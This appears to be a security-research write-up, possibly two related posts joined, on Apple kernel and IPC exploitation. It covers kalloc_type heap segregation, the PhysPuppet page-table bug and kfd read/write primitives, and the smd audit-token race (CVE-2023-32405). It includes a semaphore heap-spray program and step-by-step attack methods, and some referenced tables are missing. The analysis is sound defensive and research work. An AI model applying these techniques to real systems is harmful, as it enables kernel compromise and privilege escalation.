Before iOS 15, the answer was “anything of the same size”. Every 64-byte kalloc() came from one kalloc.64 zone, so a freed 64-byte victim could be replaced by any 64-byte object you knew how to allocate on demand. That is the technique kalloc_type was built to end.

Each allocation site in XNU now compiles to a view: a record in the __DATA_CONST,__kalloc_type section naming the type, carrying its size, and carrying a signature computed at compile time by __builtin_xnu_type_signature. The signature describes the type’s layout one eight-byte granule at a time, and osfmk/kern/kalloc.h lists the alphabet:

    KT_GRANULE_PADDING = 0,
    KT_GRANULE_POINTER = 1,
    KT_GRANULE_DATA    = 2,
    KT_GRANULE_DUAL    = 4,
    KT_GRANULE_PAC     = 8

Two structures of identical size whose pointers sit in different places have different signatures, and that is the entire idea.

At boot, the views are sorted by signature, collapsed into groups, and spread across zones named by one line in osfmk/kern/kalloc.c:

        snprintf(z_name, MAX_ZONE_NAME, "kalloc.type%u.%zu", i,

which is where a name like kalloc.type3.48 comes from: bucket 3 of the 48-byte size class. The distribution is shuffled with kmem_shuffle() and the hash seeded from early_random(), so a type’s zone is fixed for one boot and different on the next. Allocations that contain no pointers at all go to a separate heap, data.kalloc.N, which never mixes with anything holding a pointer.

The replacement object now has to match the victim on size class and land in the same bucket on this boot. Only a type in the victim’s signature group is guaranteed to land there every boot. Apple published the arithmetic using SockPuppet, Ned Williamson’s 2019 bug, as the worked example: in the boot they analysed, its victim object ip6_pktopts landed in a bucket with ten other types, and a single replacement type gives an 8% success rate. Roughly fifteen separate replacement strategies would be needed to reach 75%, and an exploit implementing all 26 candidate types is still capped near 92%, because on some boots the bucket contains nothing useful at all.

Hands-on: watching a spray land

None of that needs a device or a debugger to see. macOS ships zprint, which reads the live zone map, and sudo is enough. Everything below was run on macOS 26.4.1 (build 25E253) on Apple Silicon, with System Integrity Protection on.

The columns first, then every zone whose elements are 16 bytes:

$ zprint | head -3
                            elem         cur         max        cur         max         cur  alloc  alloc
zone name                   size        size        size      #elts       #elts       inuse   size  count
-------------------------------------------------------------------------------------------------------------

$ sudo zprint | awk '$1 ~ /^(kalloc\.type[0-9]+|data\.kalloc)\.16$/'
data.kalloc.16                16      10016K      10016K     641024      641024      491192    16K   1024  C
kalloc.type0.16               16        288K        288K      18432       18432        8031    16K   1024  C
kalloc.type1.16               16         32K         32K       2048        2048        1780    16K   1024  C
kalloc.type2.16               16        400K        432K      25600       27648       12851    16K   1024  C
kalloc.type3.16               16         16K         16K       1024        1024           6    16K   1024  C
kalloc.type4.16               16        144K        144K       9216        9216        8636    16K   1024  C
kalloc.type5.16               16         16K         16K       1024        1024           0    16K   1024  C
kalloc.type6.16               16         16K         16K       1024        1024           0    16K   1024  C

Seven zones, one element size, plus the pointer-free heap. Across all size classes this machine has 260 of them, and the flat kalloc.N zones are gone entirely:

$ sudo zprint | awk '$1 ~ /^kalloc\.type[0-9]+\.[0-9]+$/' | wc -l
     260
$ sudo zprint | awk '$1 ~ /^kalloc\.[0-9]+$/'
$

bsd/kern/posix_sem.c allocates three types through kalloc_type() on the way through sem_open(), so a POSIX semaphore is a spray any process can drive with no privilege at all. Thirty-six lines:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <semaphore.h>
#include <unistd.h>
#include <sys/resource.h>

int main(int argc, char **argv)
{
        int n = (argc > 1) ? atoi(argv[1]) : 4000;
        struct rlimit rl;

        getrlimit(RLIMIT_NOFILE, &rl);
        rl.rlim_cur = rl.rlim_max;
        if (setrlimit(RLIMIT_NOFILE, &rl) != 0) {
                rl.rlim_cur = 10240;
                setrlimit(RLIMIT_NOFILE, &rl);
        }

        int made = 0;
        for (int i = 0; i < n; i++) {
                char name[32];
                snprintf(name, sizeof(name), "/kt%d", i);
                sem_t *s = sem_open(name, O_CREAT | O_EXCL, 0600, 1);
                if (s == SEM_FAILED) {
                        perror("sem_open");
                        break;
                }
                sem_unlink(name);       /* release the name, keep the object */
                made++;
        }
        printf("%d semaphores alive, holding for 30s\n", made);
        fflush(stdout);
        sleep(30);
        return 0;
}

sem_unlink() immediately after sem_open() is the interesting line. It decrements the use count and drops the name, but the pseminfo survives as long as a descriptor refers to it, so the allocations stay alive while nothing is left behind in the global namespace.

Snapshot the zones, run it, snapshot again, print the zones whose line changed:

$ sudo zprint > /tmp/z-before.txt
$ /tmp/spray 4000 & sleep 3 && sudo zprint > /tmp/z-after.txt
4000 semaphores alive, holding for 30s

$ awk 'NR==FNR{a[$1]=$0;next} ($1 in a) && a[$1]!=$0 {print "- "a[$1]; print "+ "$0}' \
      /tmp/z-before.txt /tmp/z-after.txt |
  grep -E 'fileproc|kalloc\.type6\.16|kalloc\.type0\.96|kalloc\.type0\.16|kalloc\.type2\.16'
- fileproc                      32        336K        368K      10752       11776        6330    16K    512  C
+ fileproc                      32        336K        368K      10752       11776       10348    16K    512  C
- kalloc.type0.16               16        288K        288K      18432       18432        8031    16K   1024  C
+ kalloc.type0.16               16        288K        288K      18432       18432        8028    16K   1024  C
- kalloc.type2.16               16        400K        432K      25600       27648       12851    16K   1024  C
+ kalloc.type2.16               16        400K        432K      25600       27648       12829    16K   1024  C
- kalloc.type6.16               16         16K         16K       1024        1024           0    16K   1024  C
+ kalloc.type6.16               16         64K         64K       4096        4096        4000    16K   1024  C
- kalloc.type0.96               96         16K        944K        170       10069          76    16K    170  C
+ kalloc.type0.96               96        384K        944K       4096       10069        4076    16K    170  C

Read the cur inuse column, the seventh. kalloc.type6.16 went from 0 to 4000, and the zone had to grow from 16K to 64K to take them. kalloc.type0.96 went from 76 to 4076. fileproc, which has its own dedicated zone rather than a shared one, went up by just over 4000 as each semaphore took a descriptor. Those are struct psemnode, eight bytes and therefore in the 16-byte class, struct pseminfo in the 96-byte class, and struct fileproc, the descriptor entry itself.

The two neighbours are the point. kalloc.type0.16 and kalloc.type2.16 hold 16-byte elements exactly like kalloc.type6.16, they are busy zones with thousands of live objects, and across the spray they moved by three and by twenty-two, downward in both cases, which is ordinary system noise. Four thousand objects went into one zone and were invisible to its same-size neighbours. Before iOS 15 all three of those zones were one zone.

The output has two limits worth stating. First, zprint names a type only where the kernel asked it to: a view gets its own line, like kalloc.type7.512[site.struct coalition], when it was declared with KT_PRIV_ACCT for private accounting, and otherwise its allocations accumulate anonymously into the zone’s totals (osfmk/kern/kalloc.c). psemnode is not one of the named ones. Second, and for the same reason, what identified kalloc.type6.16 above was a measurement, not a lookup: allocate a known number of a known type, see which zone moves by that number. Recovering the full type-to-zone map means reading the __kalloc_type section out of a kernelcache. Either way the answer is only true until the next boot.

PhysPuppet: six steps to a dangling page-table entry

The other route gives up on choosing which object follows yours at a virtual address, and keeps the physical page after the kernel has stopped accounting for it.

The bug is CVE-2023-23536, found by Félix Poulin-Bélanger, fixed in iOS 16.4 and macOS 13.3, and credited by Apple to him and David Pan Ogea. Its preconditions are what make it worth walking: no root, no entitlement, no prior call to set anything up, and reachable from the ordinary App Sandbox. Apple’s advisory carries no privilege qualifier at all, only that an app may be able to execute arbitrary code with kernel privileges. It is not reachable from the WebContent sandbox, which matters for a browser chain and not for a local one. The exploit is public in the kfd repository, and the code below is XNU’s own, quoted from the writeup.

The kernel describes a process’s address space as a list of vm_map_entry structures, each a start address, an end address, and the object backing that range. Dozens of functions assert that both addresses are page-aligned, and assertions are compiled out of release builds. So: what happens if an entry is not?

Six steps get there, with P for the 16KB page size.

The first uses a Mach Interface Generator (MIG) routine, mach_memory_object_memory_entry_64(), to create a named entry of size 2P+1; sizes are not rounded on that path. The second maps it with an initial size of ~0ULL, which overflows the page rounding to zero, so the recovery path in vm_map_enter_mem_object_helper() takes the size from the named entry instead, size = named_entry->size - offset, giving 1P+1. The process’s map now holds a live entry running from a page-aligned A to A+1P+1. The third step faults both of its pages, populating two page-table entries, at A and at A+1P, both readable and writable.

The fourth step is the bug. vm_deallocate() over that range calls pmap_remove_options(), which reaches this, in osfmk/arm/pmap/pmap.c:

        bpte = &pte_p[pte_index(pt_attr, start)];
        epte = bpte + ((end - start) >> pt_attr_leaf_shift(pt_attr));

end - start is 1P+1, and the shift discards the 1. The loop clears one page-table entry and stops. The second, at A+1P, survives with read and write permission. The alignment check that would have caught this does exist, inside a macro compiled only in development builds.

Releasing the port from the first step drops the last reference on the backing object, which returns both physical pages to the free list without disconnecting any mapping. That is step five, and it is where the two accounts of memory come apart: the process’s map no longer covers A+1P, the hardware page tables still do, and the process cannot now exit without a panic reading “Found inconsistent state in soon to be deleted L%d table”. The sixth step buys that back, allocating a fresh entry over the same range and faulting only its first page, which restores agreement without touching the entry that matters.

What is left is a page-table entry in a userland process, read/write, pointing at a physical page the kernel believes is free. That is a physical use-after-free, PUAF, and the kernel will hand that page to whatever asks next.

What kalloc_type does not cover

kalloc_type() is completely irrelevant for this technique as it only provides protection against virtual address reuse, as opposed to physical address reuse.

That is Félix’s own assessment, and the rest of his list is as blunt. Kernel address space layout randomisation, KASLR, does not matter, because nothing here needs a kernel address until much later. Privileged Access Never, PAN, does not matter either: the attacker never dereferences a user pointer from the kernel, since the kernel is writing into its own page, which happens to also be mapped in userland. zone_require() and pointer authentication on data pointers are the two he rates highest, and both limit what you do after the page is yours.

The Page Protection Layer, PPL, the privileged context that owned page tables through iOS 16, does less here than expected. When it runs short of memory the kernel gives it pages from its own free queues, and PPL checks that each one has no mappings outside the physical aperture before taking ownership, panicking with “page still has mappings” if it does. One of your PUAF pages would fail that check. The exploit prevents the situation in advance, by filling PPL’s free list so that it never has to ask for more.

From a PUAF to read and write

The pages are free and mapped. Turning that into read and write takes four moves, the same four for every PUAF bug, which is why kfd keeps them in a file separate from the vulnerabilities.

First, reach the pages. Freed pages go on the tail of a free queue and userland cannot see where. So take free pages back a few at a time, with vm_copy() on a purgeable region, and after each one scan every dangling page for the content you just wrote. When it shows up, the kernel has started handing out your pages. kfd takes them in chunks of four until a quarter of the PUAF pages are consumed, and calls its own heuristic gross, which it is.

Then fill them with an object that has a field worth driving. This is the ordinary spray, and the object list should look familiar by now: psemnode from sem_open(), fileproc from dup(), kqworkloop from kqueue_workloop_ctl(). The sandbox profile you are running under limits that list. PhysPuppet is reachable from an app, so sockets are available; Smith, the bug Félix found next, is reachable from WebContent, where socket() is denied and the whole read/write had to be rebuilt from what that profile allows.

Then find your object among the pages, by a magic value you set through a syscall, and overwrite exactly one pointer in it by writing through the dangling page-table entry. That pointer has to be one the kernel does not authenticate, which is the constraint doing the most work in this design.

Finally, make a syscall that dereferences it. In kread_sem_open the object is a psemnode, the corrupted field is pinfo, and proc_info() returns eight bytes from wherever it points, believing them to be a semaphore’s uid and gid. In kwrite_dup the object is a fileproc, the field is fp_guard, and change_fdguard_np() writes eight bytes there. One kernel dereference each, at an address you chose.

Both have limits. The read pulls neighbouring fields in with the ones it wants, so an address at the very start of a page can fault on an unmapped predecessor. The write can neither store a zero nor overwrite a value that is already zero. kfd works around the second case in its own cleanup code and leaves the first as an exercise for the reader.

kfd spends its first read and write on a better read and write: it reads the file descriptor’s fg_ops->fo_kqfilter to recover the KASLR slide, then overwrites the device number in the file’s specinfo so an innocuous character device now indexes the performance-monitor driver, whose ioctl interface reads and writes arbitrary kernel memory by design. The initial primitive exists to buy a faster one.

Two things have to be undone. The device number and open count get restored on close, or the next open fails. And the process must not exit with a page-table entry the VM map does not know about, which is what the sixth step above was for.

What the write is for

Suppose all of that works, and you have arbitrary kernel read and write from an app on iOS 16. The old answer to what comes next was one sentence: patch your process’s credentials and you are root, patch the MACF (Mandatory Access Control Framework) label and you are out of the sandbox. That answer is dead, and XNU’s own source shows why.

ZONE_DEFINE_ID(ZONE_ID_KAUTH_CRED, "cred", struct ucred, ZC_READONLY | ZC_ZFREE_CLEARMEM);

struct ucred is allocated from a read-only zone (bsd/kern/kern_credential.c). The pointer to it moved out of struct proc into struct proc_ro, which is ZC_READONLY as well (bsd/sys/proc_ro.h, bsd/kern/kern_proc.c). And the MACF label those credentials point at, the one carrying the verdict from AMFI (Apple Mobile File Integrity) and the sandbox’s profile, is in a read-only zone too, with its slots written through zalloc_ro_update_field() (security/mac_label.c). All three landed in the same release, xnu-8019.61.5, which shipped as iOS 15.2 and macOS 12.1.

Read-only here means the kernel’s own mapping of that memory is read-only, enforced by PPL, and from iOS 17 and macOS 14 by the Secure Page Table Monitor on A15 and M2 silicon upwards. Writes go through a small set of allocator entry points that run in the privileged context. An arbitrary write at EL1, the privilege level XNU itself runs at, does not reach any of it.

So the endgame splits in two. Either you call one of those entry points, which means control flow, which means defeating pointer authentication, or you stay in data and go after state that is still ordinary kernel memory. kfd’s device-number swap above is the second kind, and it is what “data-only” means in practice: no pointer forged, no control flow diverted, one integer changed in a structure that carries no permission and no credential.

State in 2026

kalloc_type (iOS 15, broadened through iOS 16). Replacement is now a same-bucket, per-boot problem.

SPTM (A15 and M2 and later, iOS 17 and macOS 14 and later). The Secure Page Table Monitor replaced PPL, and it changes the terms this post is written in. XNU at EL1 may no longer write a page-table entry at all: every mapping is a call to sptm_map_page(), which SPTM validates against a type it keeps for each physical frame and a rule set for which types XNU is allowed to map. Changing a frame’s type is a call into SPTM too, checked against what the calling domain may do. A PUAF is a user mapping that outlives the kernel’s own account of a frame, so all of it now sits inside bookkeeping that XNU no longer owns. The three bugs in kfd were fixed in iOS 16.4, 16.5.1 and 17.0.

MIE (A19 and A19 Pro in iPhone 17 and iPhone Air, September 2025, and the M5). Memory Integrity Enforcement tags allocations and checks the tag on every access, synchronously and on by default, over kalloc_type among other allocators. Linear overflows and ordinary use-after-free fault at the instruction that commits them instead of corrupting anything. The classes that survive are the ones that never cross a tag boundary: races, confusion between two types in one bucket, uninitialised reads, and writes that stay inside one correctly tagged object. The first public macOS kernel memory-corruption exploit on hardware with MIE enabled, in May 2026, was exactly that: two bugs, normal system calls only, from an unprivileged local user to a root shell on macOS 26.4.1, the build the hands-on above was run on.

The direction is consistent. Each of these takes away a way of controlling where an object lands, and none of them takes away what you can change in it once it has landed.

Where this leaves us

A bug becomes an exploit when the attacker controls placement. kalloc_type is Apple making placement expensive, and the numbers are theirs: an 8% reallocation on a bug that used to be deterministic. PhysPuppet is the answer kfd gave in 2023: stop competing for virtual addresses and keep a physical page instead, where type segregation does not apply. That answer did not need a memory-corruption bug in the classic sense, since PhysPuppet is an arithmetic mistake in a page-table loop and the exploit around it never overflows anything.

The read and the write are where this post stops, and on iOS 16 that is no longer an ending. Credentials, labels and process state all moved into memory that a kernel write cannot touch, and reaching them now means making the kernel call the function that can. That is control flow, on a platform where the function pointers worth using are signed. Pointer authentication is the next post: what the hardware actually signs, what it does not, and why an exploit that owns all of kernel memory still cannot simply call a function.

Notes and sources

Everything here is drawn from open source, vendor documentation, published research, and a Mac running a stock, unmodified macOS.

• Apple, XNU source: osfmk/kern/kalloc.h for the type-signature granules, osfmk/kern/kalloc.c for the zone naming, the boot-time shuffle and the private-accounting rule, osfmk/kern/zalloc.c for zone metadata and sequestering, bsd/kern/posix_sem.c for the semaphore allocations used in the hands-on, bsd/kern/kern_credential.c, bsd/sys/proc_ro.h and security/mac_label.c for the read-only zones.
• Félix Poulin-Bélanger, kfd, the source of the whole second half: the writeup PhysPuppet for the six steps and the XNU code paths quoted above, and Exploiting PUAFs for the definition of the primitive, the page-grabbing heuristic, the kread_sem_open and kwrite_dup methods, the performance-monitor bootstrap, and the mitigation assessment quoted directly.
• Apple, About the security content of iOS 16.4 and iPadOS 16.4, for CVE-2023-23536: impact, description, and credit to Félix Poulin-Bélanger and David Pan Ogea.
• Apple Security Research, Towards the next generation of XNU memory safety: kalloc_type, the design document for type segregation, signatures and per-boot randomisation.
• Apple Security Research, What if we had the SockPuppet vulnerability in iOS 16?, for the quantified impact on a real exploit: the bucket of eleven types, 8% for a single replacement type, and the 92% ceiling.
• Apple Security Research, Memory Integrity Enforcement, for what MIE covers on A19 and what it changes about linear overflows and use-after-free.
• Moritz Steffin and Jiska Classen, Modern iOS Security Features: A Deep Dive into SPTM, TXM, and Exclaves, for SPTM’s frame types, the sptm_retype and sptm_map_page interfaces, and the rule sets that decide which frame types XNU is allowed to map.
• Brandon Azad, A survey of recent iOS kernel exploits (Project Zero, 2020), for the fake-port lineage this post’s opening section summarises.
• Calif.io (Bruce Dang, Dion Blazakis, Josh Maine), First public macOS kernel memory corruption exploit on Apple M5 (May 2026), the data-only privilege escalation on hardware with MIE enabled.

That is a confused deputy, and on Apple platforms it has one mechanical cause. A service asks the IPC (inter-process communication) layer who is calling, and gets an answer that is true about the connection instead of true about the message it is holding. You cannot recognise that mistake in a disassembly until you know which function returns which answer. Mach and MIG below go only as deep as XPC, Apple’s higher-level IPC framework, needs them to.

The message, and what it carries

XNU under the hood mapped a Mach port onto a file descriptor: an integer that means nothing outside the process holding it, standing in for a kernel object userland never sees. Sending to one is where that mapping stops being a convenience, because a Mach message can move a right and a write() cannot.

Every message starts with the same six fields, from osfmk/mach/message.h:

typedef struct {
    mach_msg_bits_t               msgh_bits;
    mach_msg_size_t               msgh_size;
    mach_port_t                   msgh_remote_port;
    mach_port_t                   msgh_local_port;
    mach_port_name_t              msgh_voucher_port;
    mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

msgh_remote_port is the destination, msgh_local_port the reply port, msgh_size the whole packet, msgh_voucher_port a send right to a voucher, which does no work in what follows, and msgh_id a number the receiver interprets however it likes.

msgh_bits is the field doing the security-relevant work. Its low five bits hold the disposition of the remote port and bits 8 to 12 the disposition of the local port. A disposition says what the kernel does with a right as the message crosses: move it out of the sender, copy it so both ends hold one, or manufacture a send right from a receive right. Each of those is a reference count adjusted in the kernel, which is why the kernel bugs here are overwhelmingly lifetime bugs.

The top bit of msgh_bits, MACH_MSGH_BITS_COMPLEX (0x80000000), sorts every message into one of two kinds. With the bit clear the message is simple: the header is followed by a flat block of inline bytes and nothing else, the Mach equivalent of a plain write(). With the bit set it is complex, and what follows the header is not raw bytes but a descriptor count and that many descriptors, each naming something the kernel must act on as the message crosses rather than merely copy. Complex messages are where port rights and out-of-line memory travel, so they are where the bugs are. Three descriptor kinds carry the interesting things:

Types 3 and 4 are a volatile flavour of out-of-line memory and a port right carrying a guard value. Two things matter to anyone reading a handler. The descriptors are not all the same size, so walking the array with a fixed stride breaks on the first out-of-line one, as XNU’s own header warns. And the descriptor count, like every number here, was written by the sender: a handler that trusts it without reconciling against msgh_size is the classic complex-message bug.

Who is actually calling

Nothing in the header identifies the sender, who wrote all of it. What a receiver can trust is appended by the kernel past the end of the message, and only if the receiver asks: the trailer. Ask with MACH_RCV_TRAILER_AUDIT and it ends in an audit_token_t, which is eight unsigned integers and no field names. One function decides what goes in them, proc_calc_audit_token() in bsd/kern/kern_prot.c:

    audit_token->val[0] = my_cred->cr_audit.as_aia_p->ai_auid;
    audit_token->val[1] = my_pcred->cr_uid;
    audit_token->val[2] = my_pcred->cr_gid;
    audit_token->val[3] = my_pcred->cr_ruid;
    audit_token->val[4] = my_pcred->cr_rgid;
    audit_token->val[5] = proc_getpid(p);
    audit_token->val[6] = my_cred->cr_audit.as_aia_p->ai_asid;
    audit_token->val[7] = proc_pidversion(p);

val[1] is the effective uid, so checking for root means checking that val[1] is zero. val[5] is the PID. val[7] is the PID version, which increases every time a proc slot goes to a new process. That last field is why a token beats a PID: a recycled PID comes back with a different version, so a token names a process and a PID names a slot.

The comment directly above that block says not to read it this way, and points at the BSM (Basic Security Module) library instead. Services read it this way anyway, and further down you will see a decompiled daemon indexing val[1] by hand.

MIG, the stub generator

Hardly anyone interprets msgh_id themselves. MIG, the Mach Interface Generator, takes an interface description (a .defs file) and emits both halves: client stubs that pack arguments into a message, and a server demux that unpacks them and calls the function you wrote. The kernel is itself a MIG server, and so was every IOConnectCall* in the previous post.

A subsystem gets a base ID and routine N answers on msgh_id = base + N. The demux subtracts the base, bounds-checks the result, and indexes a table that records, per routine, how many argument words and how many descriptors to expect; a generated __MIG_check__Request__<routine>_t() rejects anything that does not match. That is the same arrangement as IOExternalMethodDispatch, with the same blind spot. It validates shape, never meaning: it does not check whether the port you passed is the kind of port the routine expects, and a routine that adds no checks of its own gets nothing else.

The other half of MIG is a convention that lives in no single function: what a routine returns decides who owns what arrived in the message. XNU says it outright in ipc_kobject_server():

    if (reply == IKM_NULL ||
        ipc_kobject_reply_status(reply) == KERN_SUCCESS) {
        /*  The server function is responsible for the contents
         *  of the message. [...] */
        ipc_kmsg_free(request);
    } else {
        /*  The message contents of the request are intact. [...] */
        ipc_kmsg_destroy(request, ...);
    }

Return KERN_SUCCESS and MIG assumes the routine consumed every right and every out-of-line region, so it frees the buffer and nothing else. Return an error and MIG releases them for you. A routine that returns success on a path where it consumed nothing leaks the right, because ipc_kmsg_free() releases no references and the port can never be freed; one that consumed a right and then hit an error path has it released twice, because ipc_kmsg_destroy() releases everything the message still carries. voucher_swap, named in XNU under the hood, is the canonical instance, and its own violation is subtler: task_swap_mach_voucher() breaks the rules for an inout argument, leaking one voucher reference and consuming another it had only borrowed, both on the success path. Shape checks cannot see it, and they cannot see a routine that looks an object up by an ID from the message and then uses it as the wrong class, which is CVE-2024-54529 in coreaudiod, written up by Project Zero in January 2026.

XPC on top

libxpc puts a typed object model over raw Mach messages, dictionaries of typed values, and serializes one into a self-describing wire format inside a single complex message, with bulk data on out-of-line descriptors and file descriptors on port descriptors. That is why so few Apple services contain hand-written deserialization code.

A message is one of those dictionaries. The one the case study’s exploit sends to smd, the macOS service-management daemon, carries a routine number, the identifier of the helper to install, and an authorization blob. Build it and print its description:

// clang xpcdump.c -o xpcdump && ./xpcdump
#include <xpc/xpc.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

int main(void) {
    xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_int64(msg, "routine", 1004);
    xpc_dictionary_set_string(msg, "identifier", "com.example.helper");
    uint8_t authref[32] = {0};
    xpc_dictionary_set_data(msg, "authref", authref, sizeof(authref));

    char *desc = xpc_copy_description(msg);
    printf("%s\n", desc);
    free(desc);
    return 0;
}

<dictionary: 0x104ce5a10> { count = 3, transaction: 0, voucher = 0x0, contents =
    "identifier" => <string: 0x104ce5aa0> { string cache = 0x0, length = 18, contents = "com.example.helper" }
    "routine" => <int64: 0x87320fd56e04b7e7>: 1004
    "authref" => <data: 0x104ce6020>: { length = 32 bytes, contents = 0x000000000000000000000000000000000000000000000000... }
}

That description is the object graph, not the bytes on the wire: libxpc packs it into the body of one complex Mach message before it leaves. But it is what a service receives and what its handler walks key by key, and it is where a value of a type the handler did not expect, or a length it trusts, turns into a bug.

How a connection is set up is not documented by Apple, and what follows is the reverse engineering published by Sector 7, Computest’s security-research team. A daemon declares its names under MachServices in its launchd plist, creates a port, keeps the receive right, and hands launchd a send right; a client that looks the name up gets a copy of that send right back. That port, the service port, is where connections are requested rather than where they live. The client makes two ports of its own and sends a message to the service port with msgh_id 0x77303074, which is 'w00t', moving the receive right for the first and copying a send right for the second. The daemon then reads this client on the first and answers on the second.

Read that from the daemon’s side. The port it receives a client’s messages on is a port that client created, gave the receive right away for, and kept a send right to. A Mach port has one receiver and any number of senders, so nothing stops the client handing a copy of that send right to a third process. The whole case study below is that sentence.

NSXPCConnection goes one level higher, turning messages into ObjC method calls whose arguments are NSKeyedArchiver-serialized and decoded against a per-argument list of allowed classes. Widen that list to a base class and arbitrary-class decoding is back.

What a sandboxed process can reach

The reachable set is an intersection. launchd publishes the names, one plist at a time:

$ plutil -p /System/Library/LaunchDaemons/com.apple.xpc.smd.plist
{
  "AuxiliaryBootstrapperAllowDemand" => true
  "EnablePressuredExit" => true
  "Label" => "com.apple.xpc.smd"
  "LaunchEvents" => { ... }
  "MachServices" => {
    "com.apple.xpc.smd" => true
  }
  "ProcessType" => "Adaptive"
  "Program" => "/usr/libexec/smd"
}

The single name under MachServices, com.apple.xpc.smd, is what a client resolves to a send right. The sandbox profile decides which of these names a process may look up: The iOS sandbox pulled that list out of a profile macOS ships as readable SBPL, and the mach-lookup allowances are the complete first-order IPC surface of a confined process. Anything past it is reached only through what one of those daemons will do on your behalf.

The confused deputy

A service that is going to refuse anything has to answer one question first, and there are three ways to ask it.

The first row has been public for years. A PID is a slot number, and an attacker can send a request and then replace its own process image while keeping that PID, so a service looking it up afterwards resolves it to a binary it trusts. Samuel Groß laid the pattern out at WarCon in 2018, and Csaba Fitzl walked a real one as CVE-2020-14977.

The second row is the interesting one. libxpc requests the audit trailer on every message, and _xpc_connection_set_creds copies that token onto the connection, overwriting what was there. So the connection’s token is not the caller’s. It is whoever sent the most recent message to arrive on that port. Inside an event handler that is invisible, because XPC runs a connection’s handlers strictly one at a time. Step outside the handler and it is not.

The third row reads the trailer of the message actually being handled. Both audit-token functions are private API on macOS. Apple’s public XPC surface offers only the PID.

CVE-2023-32405, start to finish

Nothing is corrupted here: no overflow, no double-free, no use-after-free, no heap spray. It is a logic bug, an authorization check that reads its answer off the wrong place, and a race makes it exploitable: the value the check trusts is correct the instant it is written and wrong an instant later. That is time-of-check-to-time-of-use on a caller’s identity, and smd is the confused deputy of the previous section, made to act as root for a caller that is not.

What the attacker needs first: local code execution as a normal user on macOS 13.3 or earlier, from an app bundle that already contains the helper tool it wants installed, and permission to reach two Mach services. No entitlement, no root, and the App Sandbox may be on. Sector 7 note this instance affects macOS only.

smd is the service management daemon behind SMJobBless, the API that installs a privileged helper tool: a small binary shipped inside an app bundle that then runs as root, so an app can do the few things that need root without running as root itself. Doing it legitimately requires an authorization reference, which means prompting the user for a password. The goal is to install a helper without ever asking.

To decide whether the caller may do that, smd asks the connection for the caller’s audit token and checks that its uid is zero, that is, that the caller is root. But a connection’s audit token is whoever sent the most recent message on that port. So if a real root process drops a message onto the attacker’s own connection to smd at the instant of that check, smd reads the root process’s uid, concludes the attacker is root, and installs the helper. smd was told, truthfully, that the last message on that connection came from root.

Everything else is engineering that instant, and it has two parts: get a root process to send a message on the attacker’s connection, and make its message land inside the check.

Take the check first. SMJobBless ends up calling routine 1004, and smd runs that routine’s body through dispatch_async, on a queue that is not the XPC event handler. Inside an event handler the connection’s token cannot change under you, because XPC delivers one message at a time; off the handler, on another queue, it can. The body calls connection_is_unauthorized, trimmed from Sector 7’s decompilation:

  v5 = objc_retain(connection);
  v6 = objc_retain(message);
  xpc_connection_get_audit_token(v5, audit_token);
  // [1]: field 1 contains the UID, UID == 0 means root
  if ( audit_token[1] )
  {
    // [2]: Has a specific entitlement
    v9 = xpc_connection_copy_entitlement_value(v5, "com.apple.private.xpc.unauthenticated-bless");
    if ( v9 != &_xpc_bool_true )
    {
      // [3]: Passed in an authorization reference for the specified name
      data = xpc_dictionary_get_data(v6, "authref", &length);
      [...]

Three ways past it: be root, hold the entitlement, or produce the authorization reference. The first is audit_token[1], the uid field from earlier, indexed by hand and read off the connection (xpc_connection_get_audit_token) rather than off the message. That is the call the attacker turns.

Now for the root process that has to send a message on that connection. The attacker’s connection to smd is a port the attacker created and handed over, keeping a send right, and one receive right can have many senders. When the attacker opens a second connection, to a root-owned service, it chooses which port that service will answer on. diagnosticd is a convenient pick: it runs as root, and once asked to monitor a process it sends a status message several times a second. So the attacker connects to diagnosticd but, in place of the port diagnosticd would normally answer on, hands it a copy of the send right for the smd connection. diagnosticd’s status messages then arrive on the connection smd already has with the attacker, and every one of them makes that connection’s cached token root’s.

Then it is a race. The attacker sets diagnosticd monitoring, so root messages are now streaming onto the connection, and spams routine 1004 at smd. smd reads xpc_connection_get_pid() first, and that has to still be the attacker’s PID, because that is how smd finds which app bundle to install the helper from. A few instructions later it reads the cached audit token, and that one has to be diagnosticd’s, so the uid check passes. Since smd leaves the connection open after refusing a message, the attacker just keeps firing until the timing lines up, and the helper installs as root.

Sector 7 are blunt about the limits. It survives the App Sandbox, since both services are reachable from inside it, but the helper has to be in the attacker’s own bundle, so none of it helps out of a compromised renderer or someone else’s app. The realistic scenario is an app distributed outside the Mac App Store that presents as sandboxed and is not. They confirmed a second variant, where a reply parsed on another queue replaces the token mid-handler, but found no first-party instance of it.

Apple fixed this in macOS 13.4 by changing one call in smd from xpc_connection_get_audit_token to xpc_dictionary_get_audit_token. The advisory files CVE-2023-32405 under libxpc, credits Thijs Alkemade of Computest Sector 7, and gives the impact as “An app may be able to gain root privileges”. Only smd was fixed. Any other service that asks a connection who its peer is, from outside an event handler, has the same bug.

Hands-on: sorting daemons by how they check you

Which of those three functions a daemon calls is visible without a disassembler, because all three come from libxpc and show up in the binary’s undefined symbols:

for b in /usr/libexec/* /usr/sbin/*; do
  [ -f "$b" ] || continue
  ids=$(nm -u "$b" 2>/dev/null |
        grep -oE '_(xpc_connection_get_pid|xpc_connection_get_audit_token|xpc_dictionary_get_audit_token|audit_token_to_pid)$' |
        sed 's/^_//' | sort -u | paste -sd, -)
  [ -n "$ids" ] && printf '%-28s %s\n' "$(basename "$b")" "$ids"
done

airportd                     audit_token_to_pid
appleh16camerad              xpc_connection_get_pid
applekeystored               xpc_connection_get_audit_token,xpc_connection_get_pid
companiond                   xpc_connection_get_audit_token,xpc_connection_get_pid
configd                      audit_token_to_pid,xpc_connection_get_pid
cryptexd                     audit_token_to_pid,xpc_connection_get_audit_token,xpc_connection_get_pid,xpc_dictionary_get_audit_token
diagnosticd                  xpc_connection_get_pid
endpointsecurityd            audit_token_to_pid,xpc_dictionary_get_audit_token
kernelmanagerd               xpc_dictionary_get_audit_token
misagent                     xpc_connection_get_pid
nehelper                     xpc_connection_get_pid,xpc_dictionary_get_audit_token
opendirectoryd               audit_token_to_pid,xpc_connection_get_audit_token,xpc_connection_get_pid,xpc_dictionary_get_audit_token
sandboxd                     audit_token_to_pid
secd                         xpc_connection_get_audit_token
smd                          xpc_dictionary_get_audit_token
syspolicyd                   audit_token_to_pid,xpc_connection_get_audit_token,xpc_connection_get_pid
taskgated                    audit_token_to_pid
trustd                       xpc_connection_get_audit_token
